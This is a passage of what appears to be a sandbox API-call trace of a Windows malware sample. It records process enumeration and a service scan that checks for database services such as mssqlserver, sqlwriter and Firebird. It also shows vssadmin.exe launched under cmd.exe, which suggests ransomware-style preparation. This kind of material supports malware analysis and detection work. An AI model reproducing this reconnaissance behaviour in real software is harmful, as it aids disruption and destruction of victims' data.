hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.618] lstrlenW (lpString="spoolsv.exe") returned 11 [0123.618] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.838] lstrlenW (lpString="taskhost.exe") returned 12 [0123.838] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.839] lstrlenW (lpString="svchost.exe") returned 11 [0123.839] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.839] lstrlenW (lpString="taskeng.exe") returned 11 [0123.839] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.840] lstrlenW (lpString="taskhost.exe") returned 12 [0123.840] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0123.841] lstrlenW (lpString="fixwaves.exe") returned 12 [0123.841] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0123.841] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0123.842] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0123.842] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0123.842] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0123.843] lstrlenW (lpString="monsaver.exe") returned 12 [0123.843] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0123.843] lstrlenW (lpString="dosesugar.exe") returned 13 [0123.843] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0123.844] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0123.844] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0123.845] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0123.845] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0123.845] lstrlenW (lpString="nonprofit top.exe") returned 17 [0123.845] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0123.846] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0123.846] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0123.847] lstrlenW (lpString="accused.exe") returned 11 [0123.847] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0123.848] lstrlenW (lpString="governance.exe") returned 14 [0123.848] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0123.848] lstrlenW (lpString="old.exe") returned 7 [0123.848] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0123.849] lstrlenW (lpString="xi cg.exe") returned 9 [0123.849] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0123.849] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0123.850] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0123.850] lstrlenW (lpString="burlington.exe") returned 14 [0123.850] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0123.851] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0123.851] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0123.851] lstrlenW (lpString="buildings.exe") returned 13 [0123.852] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0123.852] lstrlenW (lpString="predictions_took.exe") returned 20 [0123.852] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0123.853] lstrlenW (lpString="carry_dns.exe") returned 13 [0123.853] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0123.854] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0123.854] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.855] lstrlenW (lpString="svchost.exe") returned 11 [0123.855] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.856] lstrlenW (lpString="sppsvc.exe") returned 10 [0123.856] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.857] lstrlenW (lpString="svchost.exe") returned 11 [0123.857] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.858] lstrlenW (lpString="msiexec.exe") returned 11 [0123.858] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.859] lstrlenW (lpString="cmd.exe") returned 7 [0123.859] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.860] lstrlenW (lpString="conhost.exe") returned 11 [0123.860] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0123.861] lstrlenW (lpString="vssadmin.exe") returned 12 [0123.861] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0123.862] lstrlenW (lpString="VSSVC.exe") returned 9 [0123.862] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.862] lstrlenW (lpString="svchost.exe") returned 11 [0123.862] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0123.863] CloseHandle (hObject=0x1cc) returned 1 [0123.863] Sleep (dwMilliseconds=0x1f4) [0124.780] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52e878 [0124.780] EnumServicesStatusExW (in: hSCManager=0x52e878, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0124.780] GetLastError () returned 0xea [0124.781] EnumServicesStatusExW (in: hSCManager=0x52e878, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x391a000, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x391a000, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0124.784] CloseServiceHandle (hSCObject=0x52e878) returned 1 [0124.784] lstrlenW (lpString="Appinfo") returned 7 [0124.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0124.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0124.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0124.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0124.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0124.784] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0124.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0124.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0124.784] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0124.784] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0124.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0124.784] lstrlenW (lpString="AudioSrv") returned 8 [0124.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0124.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0124.784] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0124.784] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0124.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0124.784] lstrlenW (lpString="BFE") returned 3 [0124.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0124.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0124.784] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0124.785] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0124.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0124.785] lstrlenW (lpString="CryptSvc") returned 8 [0124.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0124.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0124.785] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0124.785] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0124.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0124.785] lstrlenW (lpString="CscService") returned 10 [0124.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0124.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0124.785] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0124.785] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0124.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0124.785] lstrlenW (lpString="DcomLaunch") returned 10 [0124.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0124.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0124.785] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0124.785] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0124.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0124.785] lstrlenW (lpString="Dhcp") returned 4 [0124.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0124.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0124.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0124.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0124.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0124.785] lstrlenW (lpString="Dnscache") returned 8 [0124.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0124.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0124.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0124.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0124.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0124.785] lstrlenW (lpString="DPS") returned 3 [0124.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0124.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0124.786] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0124.786] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0124.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0124.786] lstrlenW (lpString="eventlog") returned 8 [0124.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0124.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0124.786] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0124.786] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0124.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0124.786] lstrlenW (lpString="EventSystem") returned 11 [0124.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0124.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0124.786] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0124.786] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0124.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0124.786] lstrlenW (lpString="FontCache") returned 9 [0124.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0124.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0124.786] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0124.786] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0124.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0124.786] lstrlenW (lpString="gpsvc") returned 5 [0124.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0124.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0124.786] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0124.786] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0124.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0124.786] lstrlenW (lpString="iphlpsvc") returned 8 [0124.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0124.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0124.786] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0124.786] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0124.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0124.786] lstrlenW (lpString="LanmanServer") returned 12 [0124.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0124.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0124.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0124.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0124.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0124.787] lstrlenW (lpString="LanmanWorkstation") returned 17 [0124.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0124.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0124.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0124.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0124.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0124.787] lstrlenW (lpString="lmhosts") returned 7 [0124.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0124.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0124.787] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0124.787] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0124.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0124.787] lstrlenW (lpString="MMCSS") returned 5 [0124.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0124.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0124.787] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0124.787] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0124.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0124.787] lstrlenW (lpString="MpsSvc") returned 6 [0124.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0124.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0124.787] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0124.787] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0124.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0124.787] lstrlenW (lpString="Netman") returned 6 [0124.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0124.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0124.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0124.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0124.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0124.788] lstrlenW (lpString="netprofm") returned 8 [0124.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0124.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0124.788] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0124.788] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0124.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0124.788] lstrlenW (lpString="NlaSvc") returned 6 [0124.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0124.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0124.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0124.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0124.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0124.788] lstrlenW (lpString="nsi") returned 3 [0124.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0124.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0124.788] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0124.788] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0124.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0124.788] lstrlenW (lpString="PcaSvc") returned 6 [0124.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0124.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0124.788] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0124.788] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0124.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0124.788] lstrlenW (lpString="PlugPlay") returned 8 [0124.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0124.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0124.788] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0124.788] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0124.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0124.788] lstrlenW (lpString="Power") returned 5 [0124.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0124.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0124.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0124.789] lstrcmpiW (lpString1="mssqlserver", 